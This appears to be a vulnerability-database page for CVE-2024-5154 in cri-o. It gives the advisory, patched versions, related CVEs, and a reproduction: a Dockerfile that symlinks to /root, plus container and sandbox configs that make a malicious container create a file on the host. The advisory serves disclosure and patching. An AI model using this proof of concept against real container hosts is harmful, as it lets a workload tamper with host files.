CVE-2024-5154High· 8.1▾ Twilightmalicious container creates symlink "mtab" on the host External
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 44.6 · likelihood 0.2 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 9.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
1.2%
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
1.30.1, 1.29.5, 1.28.7
Unfortunately not
Are there any links users can visit to find out more?
github.com/cri-o/cri-o >= 1.28.6, < 1.28.7github.com/cri-o/cri-o >= 1.29.4, < 1.29.5github.com/cri-o/cri-o >= 1.30.0, < 1.30.1Upgrade to a patched release:
github.com/cri-o/cri-o 1.28.7github.com/cri-o/cri-o 1.29.5github.com/cri-o/cri-o 1.30.1Connected by shared product, vendor, weakness, or advisory.
CVE-2024-3154High· 7.2A flaw was found in cri-o, where an arbitrary systemd property can be injected via a Pod annotation
CVE-2022-1708High· 7.5Node DOS by way of memory exhaustion through ExecSync request in CRI-O
CVE-2022-0811High· 8.8Code Injection in CRI-O
CVE-2022-27652Medium· 4.8Incorrect Default Permissions in CRI-O